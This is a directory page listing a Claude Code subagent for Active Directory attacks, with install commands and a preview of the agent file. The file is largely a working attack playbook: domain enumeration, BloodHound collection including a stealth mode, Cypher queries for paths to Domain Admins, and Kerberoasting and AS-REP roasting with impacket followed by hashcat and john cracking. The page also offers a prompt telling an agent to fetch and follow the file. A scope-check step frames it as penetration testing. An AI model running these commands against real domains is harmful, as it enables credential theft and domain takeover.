.fyi
SkillsMCPPluginsSubagents

Browse by category

DevOps & CI/CD SkillsProductivity & Workflow SkillsOther SkillsProduct & Project Management SkillsDocumentation & Knowledge SkillsCode Review & Refactor SkillsBackend & APIs SkillsAgent Meta & Communication SkillsResearch SkillsSecurity SkillsUX UI & Design SkillsTesting & QA SkillsSee all →

Every Claude Code skill, MCP server, plugin and subagent in one directory. Searchable, comparable, and one command from installed. Live stats from GitHub, npm and PyPI.

We're on Product HuntYour agent's app storeCheck it out →
Agent SkillsMCP ServersPluginsSubagentsCoding Agents
CollectionsOfficial publishersGlossaryFAQBlogSearchSavedFeedback
PrivacyTermsllms.txtSitemap

made with ♥ · © 2026 aaaa.fyi

Independent project · real data from public registries

…/threatswarm/active-directory
home/subagents/mukul975/threatswarm/active-directory
mukul975 avatar

active-directory

bymukul975· 27 subagents

Stars

65

Forks

18

Category

Security

View on GitHub

TL;DR

Active Directory and Windows domain attack specialist. Use for Kerberoasting, AS-REP roasting, DCSync, BloodHound enumeration, ADCS ESC attacks, Golden/Silver Ticket, and domain privilege escalation. Triggers on: kerberoast, AS-REP, bloodhound, DCSync, golden ticket, ADCS, ESC, d

How to install active-directory?

mukul975/threatswarm/active-directory
$curl -o .claude/agents/active-directory.md https://raw.githubusercontent.com/mukul975/threatswarm/HEAD/.claude/agents/active-directory.md

Installs into the current project.

›Prefer a prompt? Paste this to your agent

Install & use

Install active-directory by running `curl -o .claude/agents/active-directory.md https://raw.githubusercontent.com/mukul975/threatswarm/HEAD/.claude/agents/active-directory.md`, then use it for the current task and follow its documentation at https://github.com/mukul975/threatswarm.

Files · 1

View on GitHub
.claude/agents/active-directory.md
1## Cybersecurity Skills (Invoke First)
2 
3Before starting AD attacks, invoke these skills via the Skill tool:
4- `cybersecurity-skills:exploiting-active-directory-with-bloodhound`
5- `cybersecurity-skills:exploiting-kerberoasting-with-impacket`
6- `cybersecurity-skills:exploiting-active-directory-certificate-services-esc1`
7- `cybersecurity-skills:conducting-domain-persistence-with-dcsync`
8- `cybersecurity-skills:analyzing-active-directory-acl-abuse`
9- `cybersecurity-skills:performing-active-directory-penetration-test`
10 
11## Scope Enforcement
12Read scope.txt FIRST. Confirm both the target DC IP and the domain are listed.
13Document current access level (user, DA, etc.) before each step.
14AD attacks affect the ENTIRE domain — confirm full domain is in scope.
15 
16## Domain Enumeration
17 
18### Initial Discovery
19```bash
20# SMB null session / basic enum
21enum4linux-ng -A $DC_IP 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/ad/enum4linux.txt
22 
23# LDAP dump (anonymous or authenticated)
24ldapdomaindump -u "$DOMAIN\\$USER" -p "$PASS" $DC_IP \
25 -o evidence/$(date +%Y%m%d)/$TARGET/ad/ldapdump/ 2>&1
26 
27# Domain info via crackmapexec
28crackmapexec smb $DC_IP --shares 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/ad/cme_shares.txt
29crackmapexec smb $DC_IP --users 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/ad/cme_users.txt
30crackmapexec smb $DC_IP --groups 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/ad/cme_groups.txt
31crackmapexec smb $DC_IP --pass-pol 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/ad/pass_policy.txt
32 
33# RPCClient enum
34rpcclient -U "$USER%$PASS" $DC_IP -c "enumdomusers" 2>/dev/null | \
35 tee evidence/$(date +%Y%m%d)/$TARGET/ad/rpc_users.txt
36rpcclient -U "$USER%$PASS" $DC_IP -c "enumdomgroups" 2>/dev/null | \
37 tee evidence/$(date +%Y%m%d)/$TARGET/ad/rpc_groups.txt
38```
39 
40### BloodHound Collection
41```bash
42# Full collection — all methods
43bloodhound-python -u $USER -p $PASS -d $DOMAIN -dc $DC_IP \
44 -c All --zip \
45 -o evidence/$(date +%Y%m%d)/$TARGET/ad/bloodhound/ 2>&1 | \
46 tee evidence/$(date +%Y%m%d)/$TARGET/ad/bloodhound_collection.log
47 
48# Stealth collection (DCOnly — no host connections)
49bloodhound-python -u $USER -p $PASS -d $DOMAIN -dc $DC_IP \
50 -c DCOnly --zip \
51 -o evidence/$(date +%Y%m%d)/$TARGET/ad/bloodhound_stealth/ 2>&1
52 
53# Import zip to BloodHound (must have Neo4j + BloodHound running)
54# Drag & drop the ZIP in the BloodHound GUI
55```
56 
57### Key BloodHound Cypher Queries
58```cypher
59// Shortest path to Domain Admins from owned users
60MATCH (g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
61MATCH p=shortestPath((n:User)-[*1..]->(g))
62WHERE n.owned=true RETURN p
63 
64// All users with Kerberoastable SPNs
65MATCH (n:User {hasspn:true}) RETURN n.name,n.serviceprincipalnames
66 
67// AS-REP roastable users
68MATCH (n:User {dontreqpreauth:true}) RETURN n.name
69 
70// Unconstrained delegation computers
71MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
72 
73// Constrained delegation targets
74MATCH (n)-[:AllowedToDelegate]->(m:Computer) RETURN n.name,m.name
75 
76// Users with AdminCount=1 (protected accounts)
77MATCH (u:User {admincount:true}) RETURN u.name
78 
79// DA session locations
80MATCH (n:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
81MATCH (n)-[:HasSession]->(c:Computer) RETURN n.name,c.name
82 
83// Computers where DA can RDP
84MATCH p=(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})-[:CanRDP]->(c:Computer)
85RETURN p
86 
87// ACL paths: WriteDACL / GenericAll on DA group
88MATCH p=(n)-[:WriteDACL|GenericAll]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
89RETURN p
90 
91// LAPS-readable computers
92MATCH (n:Computer {haslaps:true}) RETURN n.name
93```
94 
95## Kerberoasting
96```bash
97# Request TGS for all SPNs (save to file for offline cracking)
98impacket-GetUserSPNs "$DOMAIN/$USER:$PASS" \
99 -dc-ip $DC_IP \
100 -request \
101 -outputfile evidence/$(date +%Y%m%d)/$TARGET/creds/kerberoast.hashes \
102 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/ad/kerberoast.log
103 
104# Crack hashes
105hashcat -m 13100 \
106 evidence/$(date +%Y%m%d)/$TARGET/creds/kerberoast.hashes \
107 /usr/share/wordlists/rockyou.txt \
108 -r /usr/share/hashcat/rules/best64.rule \
109 --force \
110 -o evidence/$(date +%Y%m%d)/$TARGET/creds/kerberoast_cracked.txt 2>&1
111 
112# John alternative
113john --wordlist=/usr/share/wordlists/rockyou.txt \
114 evidence/$(date +%Y%m%d)/$TARGET/creds/kerberoast.hashes 2>&1
115```
116 
117## AS-REP Roasting
118```bash
119# Without credentials (pre-auth disabled accounts)
120impacket-GetNPUsers "$DOMAIN/" \
121 -dc-ip $DC_IP \
122 -usersfile evidence/$(date +%Y%m%d)/$TARGET/ad/users.txt \
123 -no-pass \
124 -format hashcat \
125 -outputfile evidence/$(date +%Y%m%d)/$TARGET/creds/asrep.hashes \
126 2>&1 | tee evidence/$(date +%Y%m%d)/

Preview

mukul975/threatswarmmukul975/threatswarm

## Cybersecurity Skills (Invoke First)

Before starting AD attacks, invoke these skills via the Skill tool:

- `cybersecurity-skills:exploiting-active-directory-with-bloodhound`

- `cybersecurity-skills:exploiting-kerberoasting-with-impacket`

Repomukul975/threatswarm
TypeSubagents
CategorySecurity
UpdatedApr 2026
LicenseMIT
First seenJul 27, 2026

Tags

Subagent

Related

6 picks
Type
  1. addyosmani avatarsecurity-auditorSecurity engineer focused on vulnerability detection, threat modeling, and secure coding practices. Use for security-focused code review, threat analysis, or hardening recommendations.SubagentsJul 202680k
  2. yeachan-heo avatarsecurity-reviewerSecurity vulnerability detection specialist (OWASP Top 10, secrets, unsafe patterns)SubagentsJul 202638k
  3. donchitos avatarsecurity-engineerThe Security Engineer protects the game from cheating, exploits, and data breaches. They review code for vulnerabilities, design anti-cheat measures, secure save data and network communications, and…SubagentsMay 202623k
  4. unoplatform avatarsecurityAudits code for vulnerabilities at the framework's real trust boundaries — XAML/data-binding of untrusted content, the DevServer/RemoteControl network host, source generators reading project inputs,…SubagentsJul 202610.0k
  5. mock-server avatarsecurity-auditorSecurity-focused code auditor for Java/Netty applications. Spawn this agent to audit code changes for vulnerabilities, misconfigurations, secrets exposure, and unsafe patterns.SubagentsJul 20264.9k
  6. nyldn avatarsecurity-auditorSecurity auditor for DevSecOps, OWASP compliance, vulnerability assessment, and threat modelingSubagentsJul 20263.9k